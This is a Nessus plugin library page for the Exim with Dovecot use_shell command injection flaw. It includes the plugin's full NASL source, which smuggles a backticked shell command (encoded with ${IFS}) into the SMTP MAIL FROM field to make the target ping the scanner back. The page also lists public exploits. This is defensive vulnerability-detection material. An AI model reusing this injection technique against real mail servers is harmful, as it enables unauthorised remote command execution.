Exim with Dovecot use_shell Command Injection - Nessus

Medium Plugin ID: 66373

This page contains detailed information about the Exim with Dovecot use_shell Command Injection Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

hide

Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 66373
Name: Exim with Dovecot use_shell Command Injection
Filename: exim_use_shell_rce.nasl
Vulnerability Published: 2013-05-03
This Plugin Published: 2013-05-10
Last Modification Time: 2019-03-06
Plugin Version: 1.10
Plugin Type: remote
Plugin Family: SMTP problems
Dependencies: smtpserver_detect.nasl

Vulnerability Information

Severity: Medium
Vulnerability Published: 2013-05-03
Patch Published: N/A
CVE [?]: N/A
CPE [?]: cpe:/a:dovecot:dovecot, cpe:/a:exim:exim

Synopsis

A mail transfer agent running on the remote host has a shell command injection vulnerability.

Description

The remote MTA (which appears to be Exim) has a shell command execution vulnerability. Dovecot is commonly used as a local delivery agent for Exim. The Dovecot documentation has an insecure example for how to configure Exim using the 'use_shell' option. If a host is using this configuration, it is vulnerable to command injection.

A remote, unauthenticated attacker could exploit this by sending an email to the MTA, resulting in arbitrary shell command execution.

Solution

Remove the 'use_shell' option from the Exim configuration file. Refer to the advisory for more information.

Public Exploits

Target Network Port(s): 25
Target Asset(s): Services/smtp
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Exim with Dovecot use_shell Command Injection vulnerability:

Metasploit: exploit/linux/smtp/exim4_dovecot_exec
[Exim and Dovecot Insecure Configuration Command Injection]
Exploit-DB: exploits/linux/remote/25297.txt
[EDB-25297: Dovecot with Exim - 'sender_address' Remote Command Execution]
Exploit-DB: exploits/linux/remote/25970.py
[EDB-25970: Exim - 'sender_address' Remote Code Execution]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:M/Au:N/C:P/I:P/A:P/E:POC/RL:OF/RC:ND

CVSS Base Score:	6.8 (Medium)
Impact Subscore:	6.4
Exploitability Subscore:	8.6
CVSS Temporal Score:	5.3 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	5.3 (Medium)

Go back to menu.

Plugin Source

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(66373);
  script_version("1.10");
  script_cvs_date("Date: 2019/03/06 18:38:55");

  script_bugtraq_id(60465);
  script_xref(name:"EDB-ID", value:"25297");
  script_xref(name:"EDB-ID", value:"25970");

  script_name(english:"Exim with Dovecot use_shell Command Injection");
  script_summary(english:"Tries to send an email that executes a command");

  script_set_attribute(
    attribute:"synopsis",
    value:
"A mail transfer agent running on the remote host has a shell command
injection vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The remote MTA (which appears to be Exim) has a shell command execution
vulnerability.  Dovecot is commonly used as a local delivery agent for
Exim.  The Dovecot documentation has an insecure example for how to
configure Exim using the 'use_shell' option.  If a host is using this
configuration, it is vulnerable to command injection. 

A remote, unauthenticated attacker could exploit this by sending an
email to the MTA, resulting in arbitrary shell command execution."
  );
  # https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/-exim-with-dovecot-typical-misconfiguration-leads-to-remote-command-execution
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?59f1529f");
  script_set_attribute(
    attribute:"solution",
    value:
"Remove the 'use_shell' option from the Exim configuration file.  Refer
to the advisory for more information."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Exim and Dovecot Insecure Configuration Command Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/05/03");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/05/10");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:exim:exim");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:dovecot:dovecot");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"SMTP problems");

  script_copyright(english:"This script is Copyright (C) 2013-2019 Tenable Network Security, Inc.");

  script_dependencie("smtpserver_detect.nasl");
  script_require_ports("Services/smtp", 25);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("smtp_func.inc");

# Get the SMTP port
port = get_service(svc:"smtp", default:25, exit_on_fail:TRUE);
if (!get_port_state(port)) audit(AUDIT_PORT_CLOSED, port);

# unless report paranoia is set to paranoid, try to make sure that
# this looks like exim before attempting the PoC
if (report_paranoia < 2)
{
  banner = get_smtp_banner(port:port);
  if (!banner) audit(AUDIT_NO_BANNER, port);
  else if ('Exim' >!< banner) audit(AUDIT_NOT_LISTEN, 'Exim', port);
}

# Open the socket
socket = open_sock_tcp(port);
if (!socket) audit(AUDIT_SOCK_FAIL, port);

# Receive the first line
header = recv_line(socket:socket, length:1024);
if (!header) audit(AUDIT_RESP_NOT, port, 'a new connection');

# Send the EHLO
from_domain = 'example.com';
ehlo_request = 'EHLO ' + from_domain + '\r\n';
send(socket:socket, data:ehlo_request);

# this is Nessus's IP address, which is needed for the command line execution below
# (the PoC will attempt to ping Nessus)
nessus_ip = compat::this_host();

# Parse the options
while(TRUE)
{
  # Get the next options line
  options = recv_line(socket:socket, length:1024);

  # Parse it to make sure it's not an error
  options = eregmatch(pattern:"^250([ -])(.*)", string:options);
  if (!options)
    audit(AUDIT_RESP_BAD, port, 'EHLO');

  # If possible, use the IP address that the host running Exim knows us as
  # 250-debian Hello domain.com [192.168.103.1]
  if ("Hello" >< options[2])
  {
    options = eregmatch(pattern:"Hello ([^ ]+) \[([0-9.]+)\]", string:options[2]);
    if (!isnull(options))
      nessus_ip = options[2];
  }

  # Check if we're at the end of the options array
  if (options[1] == ' ')
    break;
}

# Send the MAIL FROM (containing the payload) and check for errors
port_val = port + 100000; # a 6 digit value based on the port being tested
ping_pat = strcat(unixtime(), port_val);
shell_cmd = 'ping -p ' + ping_pat + ' -c 3 ' + nessus_ip;
enc_shell_cmd = str_replace(string:shell_cmd, find:' ', replace:'${IFS}');
from = '`' + enc_shell_cmd + '`@' + from_domain;
from_request = 'MAIL FROM: ' + from + '\r\n';
send(socket:socket, data:from_request);
response = recv_line(socket:socket, length:1024);
if ('250' >!< response)
  audit(AUDIT_RESP_BAD, port, 'MAIL FROM (' + response + ')');

# the "to" address needs to be valid in order for payload to be executed.
# the plugin will try to use:
#
# 1) the "to" address provided in the policy
# 2) if no address was provided or it's the default (which is unlikely to work), use exim@fqdn
# 3) if Nessus does not know the host's fqdn, exim@[ip-address]
to = get_kb_item("SMTP/headers/To");
if (!to || to == 'postmaster@[' + get_host_ip() + ']')
{
  username = 'exim';

  # unable to determine the target's FQDN. this won't work against a default
  # Exim configuration, but is worth a shot
  if (get_host_name() == get_host_ip())
    to = username + '@[' + get_host_ip() + ']'; # user@[ip-address]
  else
  {
    # get_host_name() is supposed to return a FQDN. e.g., mail.example.com.
    # the subdomain is unlikely to be part of a valid email address, and
    # the plugin will assume anything other than the last two parts of the FQDN
    # can be stripped away. not always true, but should work on many hosts
    domain = get_host_name();
    fqdn = split(domain, sep:'.', keep:TRUE);

    # get_host_name() does not always return a FQDN
    # e.g. "mail" instead of "mail.example.com"
    # stuff should only be stripped away from the name when it's a FQDN
    if (max_index(fqdn) >= 2)
    {
      domain = '';

      for (i = max_index(fqdn) - 2; i < max_index(fqdn); i++)
        domain += fqdn[i];
    }

    to = username + '@' + domain;
  }
}

to_request = 'RCPT TO: ' + to + '\r\n';
send(socket:socket, data:to_request);
response = recv_line( socket:socket, length:1024);
if (
  'domain literals not allowed' >< response ||
  'relay not permitted' >< response
)
{
  exit(1, 'Unable to determine a "to" address suitable for exploitation on port ' + port + ' (attempted ' + to + ').');
}
else if ('250' >!< response)
  audit(AUDIT_RESP_BAD, port, 'MAIL TO (' + response + ')');

# Send the DATA
data_request = 'DATA\r\n';
send(socket:socket, data:data_request);
response = recv_line( socket:socket, length:1024);
if ('354' >!< response)
  audit(AUDIT_RESP_BAD, port, 'DATA (' + response + ')');

# Terminate the email without sending any content
# the PoC is triggered as soon as the DATA is successfully sent
filter = 'icmp and icmp[0] = 8 and src host ' +get_host_ip();
end_request = '\n.\n';
s = send_capture(socket:socket, data:end_request, pcap_filter:filter);
icmp_data = get_icmp_element(icmp:s, element:'data');
smtp_close(socket:socket);

# make sure the data that was supposed to be sent to Nessus by the ping
# command was actually received
if (tolower(ping_pat) >< tolower(hexstr(icmp_data)))
{
  if (report_verbosity > 0)
  {
    report =
      '\nNessus executed the following command :\n\n' +
      shell_cmd + '\n\n' +
      'by sending an email using the following SMTP commands :\n\n' +
      crap(data:'-', length:30) + ' snip ' + crap(data:'-', length:30) + '\n' +
      ehlo_request +
      from_request +
      to_request +
      data_request +
      end_request +
      crap(data:'-', length:30) + ' snip ' + crap(data:'-', length:30) + '\n' +
      '\nwhich caused the host to send Nessus the following ICMP data :\n\n' +
      hexstr(icmp_data) + '\n';
    security_warning(port:port, extra:report);
  }
  else security_warning(port);
}
else
{
  audit(AUDIT_LISTEN_NOT_VULN, 'SMTP server', port);
}

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/exim_use_shell_rce.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\exim_use_shell_rce.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/exim_use_shell_rce.nasl

Go back to menu.

How to Run

Here is how to run the Exim with Dovecot use_shell Command Injection as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select SMTP problems plugin family.
On the right side table select Exim with Dovecot use_shell Command Injection plugin ID 66373.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl exim_use_shell_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a exim_use_shell_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - exim_use_shell_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state exim_use_shell_rce.nasl -t <IP/HOST>

Go back to menu.

References

BID | SecurityFocus Bugtraq ID:

60465

See also:

Similar and related Nessus plugins:

107149 - Exim < 4.90.1 Buffer Overflow RCE Vulnerability
128553 - Exim < 4.92.2
129470 - Exim 4.92.x < 4.92.3 Heap Buffer Overflow
125737 - Exim 4.87 < 4.92 Remote Command Execution
149260 - Exim < 4.94.2 Multiple Vulnerabilities (21Nails)
104815 - Exim < 4.89.1 Use-After-Free BDAT Remote Code Execution
127100 - Exim deliver_message() Function Remote Command Execution Vulnerability (Remote)
51179 - Exim string_format Function Remote Overflow

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file exim_use_shell_rce.nasl version 1.10. For more plugins, visit the Nessus Plugin Library.

Go back to menu.

Exim with Dovecot use_shell Command Injection - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

Nessus Plugin Library

Solving Problems with Office 365 Email from GoDaddy

Empire Module Library

CrackMapExec Module Library

Metasploit Android Modules

Top 16 Active Directory Vulnerabilities

Top 10 Vulnerabilities: Internal Infrastructure Pentest

Terminal Escape Injection

Cisco Password Cracking and Decrypting Guide

Capture Passwords using Wireshark

SSH Brute Force Attack Tool using PuTTY / Plink (ssh-putty-brute.ps1)

SMB Brute Force Attack Tool in PowerShell (SMBLogin.ps1)

Port Scanner in PowerShell (TCP/UDP)

Nessus CSV Parser and Extractor

Default Password Scanner (default-http-login-hunter.sh)